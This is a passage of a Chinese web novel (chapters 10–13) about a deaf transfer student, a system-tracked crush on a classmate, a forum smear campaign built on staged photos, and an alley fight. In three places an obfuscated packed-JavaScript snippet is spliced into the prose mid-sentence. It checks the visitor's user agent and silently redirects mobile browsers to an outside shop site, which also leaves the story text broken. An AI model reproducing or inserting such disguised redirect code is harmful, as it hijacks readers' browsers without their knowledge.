他摸了摸鼓起的右侧裤兜,没什么表情,往左前侧跑了两步。 池映雪喘着气,听见了越来越近的脚步声,却没有精力去想,满脑子只有一句话。 再坚持一下。 再坚持一下就好…… 既不想掉队,也不想被搀扶。只要还能跑,咬着牙也得追在前面的影子后跑下去。 别人都能跑下来,你没道理不行。加油啊小雪。 身后的脚步声忽然稳定下来,保持在某个距离的音量,没有再上前,就这么跟在她一摇一摆的低马尾辫后跑完全程。 [叮!攻略对象好感+2.5。] [恭喜宿主,男主好感度达到10了哦,请再接再厉~] 跑操结束,前面的大部队慢慢停下,池映雪也跟着脚步一顿。来不及思索好感度的事,先低下头,手撑着膝盖小口小口喘着气。厚重的刘海闷在脸上很难受,被赶来的万苏瑶拨开。 “果然还是这样更好看。”万苏瑶也红着脸,顾不得池映雪能不能听见,拉着她重新开始缓步走动,“刚跑完步不能停,要走一走,不然会晕的……” 池映雪大致猜到她在说什么,点点头拖步子走。就是刚才猛地停了一会儿,现在眼前已经有点昏了。 这种事以前也常有,她觉得撑过这阵就好,便没叫停万苏瑶。 “万苏瑶。” 一个相对陌生的声音让万苏瑶停下来,回头一看:“李……闻蝉?” 池映雪也跟着回过头。 跑完步的李闻蝉依然一派轻松,头发都是干爽的,校服领口微敞,站在树荫下淋着点点逆行日光,看起来清清凉凉。 李闻蝉朝她们颔首,从兜里掏出仅剩的一根棒棒糖,慢悠悠走过来。 万苏瑶一脸奇怪:“你你你不会是……” 不会是给她的吧?他们有这么熟吗? 不要啊!她在别班一朋友暗恋李闻蝉三年,要是知道他给她糖,肯定会多想的!虽然她和那个女生关系也不是很好啦…… 李闻蝉比她更奇怪:“嗯?” 但他只淡淡看了一眼就转过去,垂着脸正对一旁看戏的池映雪,高大身躯的阴影一下子笼罩住她。 池映雪听见他跟万苏瑶说:“这家伙有低血糖。” 然后趁万苏瑶担忧之际,撕开棒棒糖紫色的包装纸捏在手里,清甜淡香的透明紫色糖球靠近池映雪的唇边。 李闻蝉:“啊——” 轻轻的气音,像医生举着小手电筒哄小朋友张嘴。 ……她又不是小孩子了。 池映雪脸上的红血丝还没消退,以另一种炎热的形式更厉害地爬上来,嘴巴抿住,嘴角微微下垂,最终还是拗不过眼前一直举着的手,很迅速地一口将棒棒糖咬回。 李闻蝉哼笑,俯下身更靠近她。 落在池映雪身上的阴影加深,鼻头萦绕的柑橘香逐渐盖过唇舌间酸甜的葡萄味。 11. 第 11 章 池映雪吓了一跳,条件反射般退后两步,却只见李闻蝉把攥成球的糖纸精准丢进她身后的垃圾桶,头也不回地走远。 回教室后,万苏瑶从书包里翻出手机,立马给池映雪发消息。 「你和lwc什么时候关系那么好了啊啊啊?你们在池家见过了?」 池映雪抬眸就看见对方八卦的眼睛,想到刚才达到一半“友善”阶段的好感度,犹豫着打字:「没有……」 「他都知道你低血糖,还专门给你糖了诶!!我有个塑料朋友暗恋他好久,高一送了一年的吃的,lwc一个都没收过!」 「所有人都知道,lwc亲口说过他是那种不喜欢就一点希望都不会给的人,就没见过他桃花成真一朵,我那朋友到现在连好友都没加上!」 「小雪啊~~你老实交代!」 教室后门忽然打开,初秋早晨依然湿热的空气灌进来,李闻蝉清瘦有型的身影随之走入,脸上还挂着几颗透明的水珠,一看就刚清洗完,正用手帕纸擦着。 万苏瑶立马坐正,收起一脸怪笑补充,「但你小心点哦,虽然我觉得lwc人还行,在班上除了不学习没犯过啥事,但他横行霸道的流言超级多。」 池映雪:「瑶瑶,我觉得你真的想多了,我和他现在连朋友都算不上呢。」 眼见万苏瑶不信,她逐一分析,「我现在的家不和池家爷爷在一起,没有在家里见过他。棒棒糖不是专门买给我的,昨天一班的穆同学来的时候,他面前放着一样的。」 「低血糖这个病,我来虹文以前也不知道,是那天在医务室里看见校医开的单子才」她越想越觉得这个推测很合理,「当时李闻蝉也在,他应该正好看见了。」 到嘴的瓜是假的,万苏瑶撇撇嘴:「好吧,哎,这样也好,免得他那些打人欺负人的传言为真,到时候让你受伤。」 池映雪摇了摇头,从书包里捧出一盒包装精致的巧克力,岔开这个话题。 「我昨天才知道,当时我在篮球场晕倒是你和班长扶我去医务室的,瑶瑶,谢谢你们呀!」 「我没有什么能送的,正好爸爸昨晚回家,给我们全家带了在国外买的手工巧克力,你们选一些喜欢的吃吧!」 池映雪第一次有像样点的东西可送,为了防止说话生硬,还在早就措辞好的语句后打了一个小花花的表情。 万苏瑶被萌出土拨鼠尖叫:“秋怡啊,你快来啊!小雪送seescandies了!!” 池映雪不知道她在说什么,事实上就算听到她也不知道这是什么牌子,只记得爸爸昨晚分巧克力时,池鲤鲤很激动,似乎非常喜欢,所以她猜测一定很不错。 池映雪唯一吃过的巧克力就是上个圣诞节裴景送的,当时他们三个放学后不想回家,在学校周边逛大街,裴景用全班第一的激励奖金买完教辅,剩下的钱正好给她和许苹安买了两块红蓝包装的巧克力。比这个漂亮盒子里个个分开包装、各不相同的巧克力简单很多,可即便那样,苦中回甘,也是她一辈子难以忘怀的美味。 今天这一盒,她自己还没有尝过,先让她们挑选。池映雪微微歪头,不好意思地笑,瞧着坐在最前面的秋怡两眼发光地飞奔过来,和万苏瑶一起叽叽喳喳。 “我要这个!”“我要南瓜味的,天啊,馋死我了,上次吃还是前年……” “那个,不好意思。”一道陌生的声音插进来。 万苏瑶和秋怡先抬头望过去,池映雪后知后觉地跟着她们的动作,只见几个不眼熟的同班女生围上来,指着巧克力说了什么。 池映雪的手机上显示来自瑶瑶的消息:「小雪,她们说也想尝尝,可以用其他的零食和你换~」 池映雪愣了一下,连忙回复:「可以呀,换就不用了。」 那几个女生笑起来,池映雪被不加掩饰的善意包裹,有种奇异的感觉,最后还是被塞了几大包薯片、焦糖饼干、两瓶AD钙奶和一排红色的旺仔。 座位上放不下这些零食,池映雪左看右看,不知道该放在哪里,想起教室后面的储物柜,小心翼翼地抱着它们起身。 秋怡和万苏瑶吃着吃着,不知道在闹什么,逐渐你打我一下,我打你一下,刚才来的那几个女生也凑在一起笑,池映雪穿过她们,恰好和人群外靠墙曲腿而坐的李闻蝉四目相对。 风很静,浓黑的碎发晃着,李闻蝉笑得懒懒散散,眼神有些许调侃。 鲜红色的薄唇张合,声音顺着后门缝灌进来的风一起落入池映雪耳畔。 “要帮忙吗?” 说完也没期待过她回答什么,直接起身走过来。他的手很大,很轻松便拎着她抱了满怀的几大袋薯片和饼干,另一只手拿走两种奶,修长的手指让牛奶盒看上去更袖珍。 三两步走到她的柜子前,李闻蝉回头,冲池映雪抬了抬眉骨。 池映雪赶紧跑过去,用手心里攥得紧紧的钥匙开柜门。 回到座位,池映雪盯着面前的巧克力,一会儿扫一眼任务面板上“互相投喂”的字样,一会儿瞅瞅已经在几天内莫名其妙涨到10%的好感度,心里有了很多底气。或许是因为李闻蝉对她太好了,她莫名有一种感觉——他不会拒绝她。 池映雪捧着巧克力,大胆地挪到右排。 李闻蝉本来在和胡挚说话,侧眸凝望过来。池映雪的指关节发白,把手往前伸,精致的、散发淡淡苦香的巧克力被举到他面前。 胡挚的眼神微妙地在二人身上打转,李闻蝉没理他,指了指苦味的来源,语速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635231|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放缓,口型清晰:“给我的?” 离得比平时近,池映雪第一次发现李闻蝉有很明显的卧蚕,眼睛和眉毛都很长,眉心饱满,眉弓极有轮廓。 不笑的时候显得冷峻,压迫感很明显,让她有一点害怕。 池映雪的脸往下低了些,闪着睫毛点头。 李闻蝉却对她摇头。 池映雪一时没反应过来,直到他再次做口型,而她不用分辨那是什么字就听清他说:“谢了。” “我不要。” 语文早读。 池映雪不用朗诵,安静地坐在椅子上默记《论语》十二章。 士不可以不弘毅,任重而道远…任重而道远………譬如为山,未成一篑,止,…… 不知道为什么,有点背不进脑子里。 池映雪半阖着眼,纤细的睫毛落下一层阴影,面上还残存着灼热的烧红,手不停摩挲着这一页纸,想下一秒就搓出个大洞,把自己埋起来。 被拒绝了。 是呀,连友善都算不上,她凭什么觉得他一定会接受呢? 池映雪的嗓子眼有点噎噎的,她把自己想的太无所不能了,以为交到了两个新朋友,和其他人交朋友也会很容易,实际上好吃的拿到面前,人家都不带收的。 李闻蝉那些好意,对她来说很珍贵,可对他来说根本就是顺手的热心吧。 因为他本身就很好。 因为看她有些可怜。 系统:[宿主不要伤心呀,一次不行还有下一次,任务也不是强制性的。] 池映雪摇摇头:“我没有伤心。” 她就是没能投喂成功,有种停滞不前的挫败而已,肯定是这样。 教室右边的走廊,李闻蝉和胡挚靠着围墙,手里拿着课本,四只眼睛没一只看向课本。 李闻蝉校服外套大敞着,被风吹得鼓起也不在意,双眸时不时隔窗瞥向教室后排某个方向,摸了摸后颈,无声地叹气。 窗户没有关严,池映雪听见了,悄悄竖起耳朵留意着外面的动静。 这时,胡挚嘴唇张合,她脑海一片空白,手慢慢攥紧。 走廊上。 胡挚:“早知道就收下巧克力了是吧?” 李闻蝉:“你又不是不知道,我不吃她送的那玩意儿。” “你和我说有什么用。”胡挚用书拍了拍他,“和人家解释去呀。” 李闻蝉静默半晌,看向池映雪。 她已经完全转过身去,向着教室左侧,他只能看见一只苍白的耳朵。 细密蓬碎的乌发迎风轻动,遮住李闻蝉复杂而疑虑的神情。 与此同时,一条图文并茂的帖子在虹文高中论坛里被顶起,不断有人在下面盖起高楼…… 12. 第 12 章 【独家爆料:震惊!新来的转校生居然gy创新班大佬班委,教室后排qz!!速看!】 正是吃早饭的时间,虹文中学对手机管控不严格,部分同学会在这个时候刷手机,分享昨晚的八卦。点进论坛,这条关键词满满的帖子就映入眼帘。 【0L】匿名用户5376 RT,真实独家爆料,有图有真相。 为防有人不知道这位转校生,我先来介绍一下,南城的各位应该都不陌生chi家,这家最近找回了一个丢了很多年的女儿,说起来唏嘘,她居然是个聋哑,之前还在非四大念的书,你们细想是咋进的虹文。 听说chi家一开始就想把她塞1班来,最后估计她实在太差了,就去了普班,但我们新同学心气高啊,进不了1班就开始勾搭1班某班委,看图,两个人直接在女生班上搂搂抱抱,还疑似亲了。 这个班委靠贫困生推优政策才从北边乡下来上学,在这里奉劝一句哥们擦亮眼睛,富之耽兮犹可脱…… (图片)(图片)(图片) 匿名是因为chi家,你们懂,家大业大还有学校的股,我也真是看不惯这个风气,有什么赶紧楼里说,我怕等下被封了。 【1L】 沙发!这胆子也太大了,直接教室后面开亲啊! 【2L】匿名用户5425 同1班,好像解码了。。我说myy平时那么安安分分,怎么昨天就去找老师打小报告,合着是冲冠一怒为红颜啊…… 【3L】 楼上惊现创新大佬!!佬,求细说! 【4L】匿名用户5425回复【3L】 男方是我班纪委,觉得班上有人校园暴力女方,就去告班主任了。其实人家只是私下说了几句不喜欢那个女生(何况本来那个女的自己就有问题,先在背后搞绿茶手段挑拨别人),他官威多大啊。。 【5L】 可是校园暴力就应该向老师反映,听楼上意思,老师恐怕管了吧,还挺及时。 【6L】匿名用户5425回复【6L】 重点是校暴吗?你没看上面说只是私下吐槽了几句,又没打她又没干嘛,再说学生那么多,干嘛光针对她啊。。来好高中是学习的,这女的一来就gy男生,不知道之前是个什么环境。。 …… 【19L】 标题的勾引和亲嘴很烫手打不出来吗?这是校园论坛,又不是随时随地触发敏感词的某江,啥都要缩写,你压缩包啊? …… 【77L】 挺楼主,建议学校严查,这种人放进来也只会拉低本科率,过阵子月考敢上场不? …… 帖子在午饭后的时段被闻风而来的吃瓜学生们逐渐炒热,池映雪这两天都关注着论坛,第一时间就看见了。 她把这些给系统看:“宁世延的手段果然换汤不换药,下面带节奏的应该就是他的小弟。” 系统兴奋道:[我就说嘛!他肯定想不到自以为天衣无缝的计划已经被我们破解了,宿主,你快动手吧!] 池映雪:“动手?” 她用手指了指自己:“我吗?” 系统的眼睛亮亮的:[没错,我看你们人类的小说里都是那么写的!坏蛋匿名发帖,主角大展身手,轻敲键盘查出对方的ip地址、破解监控视频狠狠打脸!] 宿主这两天得知剧情后不慌不忙,想必已经做好了万全准备吧! 池映雪:……… 它对她居然有这么大的滤镜吗? “那个,首先,私自查询别人的ip地址是违法的,再说我也不是黑客。”她要有那种技术,之前还会愁钱嘛? “其次……学生手册上有写,为保护学生隐私,虹文的摄像头只在考试日开放。也就是说,没有什么视频可以还原被偷拍那天的场景。” 系统:! [那、那怎么办?!!] 系统绞尽脑汁,突然想到一个人的存在。 [宿主,要不你去找男主大人帮帮你吧!他可是气运之子,有他在,肯定没问题的!] 池映雪睫毛轻颤,看了一眼周围空荡荡的座位。 万苏瑶今天中午回家补觉,李闻蝉……早上之后就一直睡着,她去吃午饭时他还趴在课桌上,回来时人已经不见了。 求助吗? “不了吧。” 安静、独处、靠自己解决问题,早就习惯的事,没什么好意外不是吗,何必要一次次给人家添麻烦呢。 池映雪:“系统,你相信我吗?” 系统愣了一会儿,点点头。 池映雪轻轻地笑起来:“那就,再等等吧。” 窗外时不时“路过”几个结伴来的陌生面孔,一个中午走过这条走廊的人比平日一天里还多,池映雪听不见,索性当这些指指点点的人不存在,沉浸在题海间。 “我去!咋回事,今天楼道里这么多人……” 晚自习前,胡挚一边嘟囔一边穿过人群,下楼直奔花园找李闻蝉。 蓝调时刻,偌大的花园里只有三两偷偷私会的学生,夹杂几声猫叫,胡挚又掉转方向去医务室,果然在支架床上见到阖眼的李闻蝉。 白色小床因为他高大的身体显得逼仄可怜,胡挚走上前摇了摇他。 “蝉哥,子健说晚自习萌萌姐要亲自来坐班,别睡了,咱先回教室。” 人没动,胡挚大着胆子掀开被子,却见床上人猛地睁眼。 “我去,蝉哥你没睡着啊!吓死我了!” 李闻蝉细碎的黑发无比凌乱,浓眉皱起,内双有些肿,显得十分困倦:“嗯。” 胡挚递给他校服外套,眼珠转了转:“哥,你不会今天一天都没睡着吧?” “你……还在纠结早上那事?” “没。” “怎么可能,我有那么矫情?” 李闻蝉穿好鞋,站起身随意扯了扯校服便权当整理好,向门口走去,不知为何脚步一顿,又掉头往盥洗室走,打开水龙头。 冰凉的清水冲洗在白皙的皮肤上,李闻蝉那两只骨节分明的手覆住整张脸,漫不经心地问:“今天我睡觉时……没出什么事吧?我指我们班。” 胡挚:“没吧?” 就算有他也不知道哇!他是一个多么专心的人——上课专心犯困,下课专心上分。 哦对了,刚下楼时那群人在看啥来着?好像还议论着什么,但他走的急,半句话也没听清。 李闻蝉忽然露出无语的眼神,从外套口袋里取出手帕纸擦掉脸上的水珠。 “虎子,问你件事。” “你觉得成绩重要么?” “哈——?”胡挚抽了抽嘴角,“蝉哥,别告诉我你在这里窝半天全想这件事去了。” “你别管这个,回答呢?” 胡挚摸着下巴:“额……那要看这个人自己了。” “每个人想做的事都不一样。有人想研究学术,或者当那种职场精英;也有人像咱们这样,就没那个追求。再好比蝉哥你,池老爷子都已经让你帮忙处理公司的事情、和几个老狐狸斗法了,你说成绩对这些有影响么?” “但对大部分人来说,家族期望、人生追求、学习兴趣、生存需要……成绩还真挺重要的吧。” 胡挚摊开手,“就连我老爹这种老早就接受他儿子不是学习这块料的人,都会因为我数学偶尔考了个及格开香槟。” 李闻蝉捏起手上已经被揉成一小团的湿纸,眸光很沉,不置可否。 “如果你能进一班,他会更高兴吧?” “何止他高兴!”胡挚笑起来,“我能天天出去吹水,谁不知道一班都是清北预备役啊?有钱都难塞进去。” “那你说,要是一个人能进一班却放弃了,为了另一个人去普通的班级……” 胡挚掷地有声:“纯特么有病!” 李闻蝉额头上青筋跳了一下:“好好说话。” 胡挚挠头:“咳,你说的谁啊?男的女的?要是为了异性,是不是传说中的恋爱脑啊?” 李闻蝉面色别扭起来,轻声念叨:“不像啊。” “但好像是说过她脑子里什么坏掉了……” “啊?你说啥?” “没什么。”李闻蝉重重地咳嗽,“没有这个人,别多想,我就随口一问。” 说完就步履微沉,朝门口走去。 手里的纸团被丢进垃圾桶,手心蓦地一空,李闻蝉想,或许本该如此。 只是他的手还没放到门把上,那门就被人从外面推开了。 胡挚先辨认出来人,冷笑道:“这不是我们创新班里的好学生们吗?这次又是来干嘛的,教训没挨够?” “当然不是,不是!”几个男生迎面撞上李闻蝉,身体站得僵直,“我们这不是上回被蝉哥教育过之后改过自新,特地来将功补过了么?” 胡挚:“哟呵,不是你们把人穆雨阳堵楼道里要钱的时候了?怎么个事呀,说来听听?” 几人互相对视,为首的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635232|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生冲一直面色不耐的李闻蝉道:“就是,额,穆雨阳又摊上事了。” 说完赶忙摆手,“这次真不是我们干的!不知道谁拍了穆哥和一女生的亲密接吻照,放到校园论坛上,现在好几百楼,直接爆了!” “我们几个不怎么看论坛,也是老齐刚到教室把穆雨阳喊走才知道。” 胡挚目光怀疑,手却更快一步掏出手机,点开论坛,“吹呢吧,还好几百楼,这年头谁那么无聊玩论坛啊……” “我去,蝉哥你快看,真有!”胡挚惊恐道。 李闻蝉眼睛往屏幕上一扫,来不及思考就下意识迅速夺过手机,手上青筋暴起,眉眼凌厉。 昨天下午的某个画面一闪而过,当时胡挚和穆雨阳坐在他位置上打游戏,他靠着窗,感觉到身后闪起白光,万般噪声中似乎夹杂有手机拍照的声音。 可等他望过去,还没来得及仔细查看,就被…… 李闻蝉只短促瞥过那几张没营养的照片,一眼就知道是假的,就算他没有发现疑似闪光灯的存在也相信。 “眼睛和脑子但凡长一个,都不至于蠢成这样。” 手指在屏幕划了几下,李闻蝉把手机还给胡挚,“几张照片就下定论,也不看看她怎么可能?” 胡挚:“就是说,穆雨阳咋可能谈恋爱,还接吻?他脑子里就只有物理小球和数学公式,最多再加个马可波罗!” “蝉哥,要不我让人查查?” “……不用。” 李闻蝉抬脚出门,傍晚的风吹起校服衣摆,蓝色天空将高挑的背影沁得很冷,“帮我请个假。” 池映雪放学和万苏瑶、秋怡以及白天新认识的几个女生多在教室里留了十来分钟,池鲤鲤急着回家,故而她今天依然要一个人回去。 [宿主,池鲤鲤一上车就和你爸爸妈妈还有哥哥挨个打电话说了论坛的事情,这么着急是回去告状去了。] 池映雪编辑掉最后一条楼中楼,按灭屏幕,背好书包往校门外走,不疾不徐。 路上有认出她的,指指点点说着什么,她也没有停一下脚步,反倒是那些人中的三三两两议论的动作顿住,低下头滑动手机,露出惊讶又懊恼的表情。 从学校去地铁站有好几条路,池映雪之前都是跟在李闻蝉后面走大路,会比别的路远不少,胜在人多,安全。 池映雪想到大半天没见着人的李闻蝉,脚步慢下来,莫名想换条路走。 她记得女生群里有人说过去地铁站可以走一条小巷,从学校右侧第五棵梧桐树往烤鸭店的方向拐,绕两道弯后,一直走到头就是地铁站的C口。 因为已经错过了晚自习刚下那会儿的人流密集时刻,越往巷子里走就越没什么人影。九月中旬,没有黄透的梧桐叶已经落了一些,脆生生地铺在地上,被昏黄的橘色路灯映照。 拐弯处有一个很高的电线杆,走过去就是倾斜度很大的下坡,站在坡的顶端,还能望见远处蓝紫色的高厦灯光,和粉墙黛瓦的巷子像两个世界。 池映雪低着头走在灯下,忽然想起几天前和许苹安的聊天。 「苹安,你有听说过李闻蝉吗?」 「以前在七中,我好像在大群里见人说过他是很有名的校霸,连七中那个‘大姐大’都甘拜下风。」 「听过啊!我还正想问你呢,他没把你怎么样吧?!」 「没有,我只是好奇,也许他没有别人说的那么暴力呢?」 「哈,你别想了,离他远点吧,上次有人在虹文旁边的巷子里遇见他浑身是血的传闻你还嫌不够呢?」 “虹文旁边的巷子”……? 十来步开外,下坡底部的灰砖路,一辆落满灰的面包车后突然传来清晰可闻的重物撞地声。 池映雪猛地停下脚步。 但在那之前,她已经走到坡的下半段,被车和建筑物遮挡的景象完完全全映入眼帘。 ——两个男生低埋下头,灰头土脸地软着膝盖缩在角落减少存在感;一张她见过的面孔,宁世延,满脸淌着鲜红血痕,和鼻涕眼泪混在一起,张大着嘴趴在地上叫喊。 配合表情,应该是在向拽住他领口那人求饶。 而另一边,校服外套和眼熟的黑色斜挎包被随意丢在地上,身着黑T的半蹲背影缓缓起身。 很高挑的身体舒展开,正好向池映雪所在的方向偏过头,抬手腕抹去脸上溅到的血,看上去很是骇人。 李闻蝉。 池映雪不自觉默念出来,双手颤抖着抓紧书包带,往后退了半步。 13. 第 13 章 李闻蝉舌尖抵沾血那一侧的腮帮,点点红迹在白皙的皮肤上蹭开,被笼罩在夜色和路灯下,戾气逐渐收敛。回眸时露出一只眼,碎而密的黑发垂在上面,遮住了那里面的神色,池映雪和他对视了却看不分明。 似乎愤怒,也似乎只是桀骜和冷,捉摸不透。就像她曾经觉得离他已经很近了,一如现在这样十余步的距离,却又好像从未靠近。 察觉到她的退缩和颤抖,李闻蝉什么都没说,也没有移动脚步。 他朝她勾起唇,似笑非笑,深眸暗淡,染着说不上来的倦。 [警告!攻略对象好感-0.1。] [当前男主好感:9.9。] 时间回到二十分钟前。 李闻蝉从保安处查完楼道内昨天下午某个时段的监控,给池老爷子的副手去电后,正好瞥见宁世延和两个跟班笑闹着下楼离校。 他挑起眉,转玩着手机,挎上胡挚帮忙送到保安处的包跟了上去。 宁世延跟小弟们走进巷子,到人少的地方抽了两根烟,一个小弟恭维道:“老大这招一箭双雕高啊!既让那个白莲花名誉扫地,又收拾了多管闲事的某纪委!” “就是,一想到穆雨阳因为成绩好了点就被老齐选成纪委,让我们宁哥只能当个生活委员就气,他该的!” 宁世延踢了一脚后面说话的人:“你个呆货,不是说了不许再提这茬?!” “我错了宁哥!”小弟讪笑,找补道,“宁哥,我们照片拍得还不错吧?那错位错的,要不是我拍的,我真以为他俩那啥了呢!” 宁世延神清气爽:“很好!论坛里那群人也是弱智,真的会信那几张糊图。” “‘人赃俱在’,我倒要看看穆雨阳要怎么应对老齐!还有那个哑巴,这回是真得吃哑巴亏了,哈哈……” “宁世延。” 蓦然被点名,宁世延不耐烦地叼着烟回头,却被一只手轻轻打掉烟头。 夜色里闪着猩红的灰烬在空气中以小小火星的形式漂浮,香烟瞬间坠地,那只冷白色的手被主人嫌弃地收回,用淡香的手帕纸仔细擦拭。 “还愣着干什么?”李闻蝉淡声命令,“捡起来啊,素质低下的宁同学。” 李闻蝉高出半个头,无论身量还是气势都将人死死压制。 宁世延只能仰着脸看他,几乎快要忍不住骂出声,骤然想起家里人千叮咛万嘱咐的话,不甘地攥紧拳头,在他面前弯下腰捡烟。 烟尚未完全熄灭,宁世延的手伸过去时,李闻蝉抬脚踩住烟头,将最后一抹红色灭去。 ——脚尖一转,碾在他的手背上,泛青白色的手指关节传来骨骼颤栗的音节。 “嗷嗷嗷!!” 宁世延再也忍不住,不顾身后两人前来拉扯便起身挥拳过去:“你他妈——” “啪。” 很轻一声,很轻松的力道,李闻蝉身形都没有晃一下,就这样轻而易举挡住他的拳,往回推去,嘴边逐渐扬起恣意蔑视的笑意。 “就这点力气么?宁小公子。” 李闻蝉眸色淡淡,声音很缓,却是脱口而出,“就这点力气,也敢动我的人?” 说完他自己先愣了一瞬,不自然地轻啧,收回手重新擦拭。 他的人? 三人大眼瞪小眼。什么叫“他的人”!难道他居然对池映雪…… 不,怎么可能,他可是李闻蝉啊!他们忽然想起穆雨阳,恍然大悟:这不正是李闻蝉的“小弟”吗?! 一个胆子大些的小弟道:“蝉、蝉哥,我们绝对没有冒犯您的意思,帖子里也说了,学委是被勾引的受害者,大家骂的都是那个白莲……” 他颤着声上前,不等话音落下,李闻蝉毫无征兆地抬脚踹向他的脚踝处。 小弟的半截话中道崩殂,猝不及防地摔倒在地,还没挣扎着爬起,就再次听见那平和却可怖的清冽嗓音,“聒噪。” “拍照的手机呢?” 等二人颤巍巍捧上取消密码解锁后的手机,李闻蝉直接塞进包里,让他们把地上所有烟头捡起来,找地方扔掉。 宁世延阴毒地盯着墙头草一样没出息的小弟和云淡风轻的李闻蝉,偷偷揉着惨痛的手,磨了磨牙。 这次是他犯傻,光想着顺带报复穆雨阳就把他牵扯进来,忘了这人给李闻蝉当小弟的事。 等下次,他再想办法好好整那个欺负鲤鲤的聋哑人…… 一只手忽然提起宁世延的衣领,他瞬间悬空,无心顾及别的事。 李闻蝉满眸戾气:“我最后警告你一次,不要再搞什么小动作。” “如果这次被你针对的两个人中任何一个再出什么事,不只是你。”他拎着宁世延,几乎平视,却如注视一只蝼蚁,“我让宁家跟着完蛋。” 不知为何,宁世延没有一刻怀疑李闻蝉这话的真实性。 漆黑的瞳凝着他,和那个平时见到的,不学无术的校霸隔起一层无形的壁垒。 好像这样才是真实的,或者说另一面的——被宁家长辈们都忌惮的那个池家养子、从前京城大院里的子弟,李闻蝉。 一阵秋夜寒风应景吹过,宁世延吓得腿软,听见细微的血管爆裂声。 正巧李闻蝉不屑地将他松开,失重的那一刹那,宁世延的头和身子都往后仰,鲜红的液体从两个鼻孔里不分前后地喷溅出来! 李闻蝉赶紧后撤:“艹。” 但是晚了。 宁世延“pia”地一声重倒在地,疼得吱哇乱叫,那满脸鼻血来得太诡异,李闻蝉甚至觉得他在碰瓷。 他赶紧脱下白色的校服外套,把包和外套一起随意丢到一边,半蹲下身拧眉观察。 确认宁世延真的只是突然流鼻血后,嫌弃地甩开他的下巴,边怀疑人生边站起来。 李闻蝉用手一擦脸,看见手背上沾染的红色液体,整个人都要不好了。 “………” 他脏了。 再次抬手侧脸擦拭时,李闻蝉听见十步开外轻微的音量。 一道纤细、熟悉的身影就站在那里,像路灯投射下来的幻影,又清晰可见。 池映雪扎着低马尾辫,刘海被拨成斜斜的模样,雪白的小脸两边有细缕发丝垂落。穿着那身整齐的夏季校服裙套装,外套秋季校服在她身上略显宽大。白色内衬的每一粒纽扣都有好好扣上,领结端正,长裙过膝,小白鞋纤尘不染。 那双小手紧紧攥着比红蘑菇颜色深一些的皮质双肩书包,几乎是颤抖着膝盖,往后退了半步,远离他和其余几人。 颤抖的幅度,和刚才宁世延那两个跟班面对着他时如出一辙,一看就是在怕他。 啧。 还是那么胆小。 其实这样也挺好。 好学生就该天天向上,远离斗殴现场,不是么?李闻蝉故意朝池映雪扬起自以为很肆意的笑。 忽然,黑眸一凝,望向她身后的不速之客。那是…… 池映雪对此一无所知,垂着长睫静立片刻,很轻地哼出一口气,脚尖微动,就要重新往前,往李闻蝉的方向踏步。 就在这时,来自书包后侧的拉力却阻碍了她,池映雪回过头。 率先认出的不是来人,而是那股时隔一两个月的气味。淡淡的冷香,瞬间将她的记忆拉长,脑海里闪过初见的画面。 南城,夏天,人满为患的图书馆。 绿油油的爬山虎缀满整面窗,阳光都苍翠,安静又有些闷热的自习桌,清秀端正的少年穿着白色短袖衬衫坐在她对面,她瞥见他叫沈星桥。 沈星桥还是挂着熟悉的、温柔的微笑,嘴唇张合,语速一如既往的缓,很好辨认口型。 “好久不见。” 李闻蝉冷哼一声:“谁跟你好久不见。” 沈星桥笑得和纯白的雕塑一样无懈可击:“没有在和你说话呢,李同学。” 不顾李闻蝉骤然放大的瞳,沈星桥专注地对着呆滞而讶然的池映雪,举起双手。 两根手指向内弯曲相对,继而比成“OK”的手势,从上往下降落。 池映雪认出来,这是手语,意为——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635233|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好久不见。”他再次说。 上一个盛夏,应父又不知道去哪里潇洒,应光司去上补习班,而她和应母待在家里。唯一的空调在应光司房中,应母舍不得开,池映雪洗净身上的汗,找了个由头出门去图书馆。 写完老师布置的作业,池映雪还不想回家,百无聊赖地翻起来时借阅的、许苹安倾情推荐的一本校园文—— 《清冷校草好温柔》。 池映雪:…… 算了,苹安说好看,她还是看一下吧。 “……只见他就那样安静地坐在那里,低下头用钢笔写字。握笔的那只手很大,不算特别白皙,却骨感分明,光看着这只手,便不可控地去想象那笔下的字迹该如何清秀漂亮,事实上也正如此。” 写的不错,她也向来对字好看的人有好感。 接着往下看,“抬高视线,白色衬衫整洁,扣子一丝不苟地扣起来,面容清润,眉眼清明,午后薄薄的阳光隔着鲜明透绿的窗玻璃映着他,不显闷热,反而有种清冷……”之后有更多的外貌描写,紧接着是女主的心理活动。 “…在心里尖叫:天哪,世上竟有如此完美之人,不愧是圣玛丽高中唯一的校草大人!!” 池映雪:这高中居然还评校草? 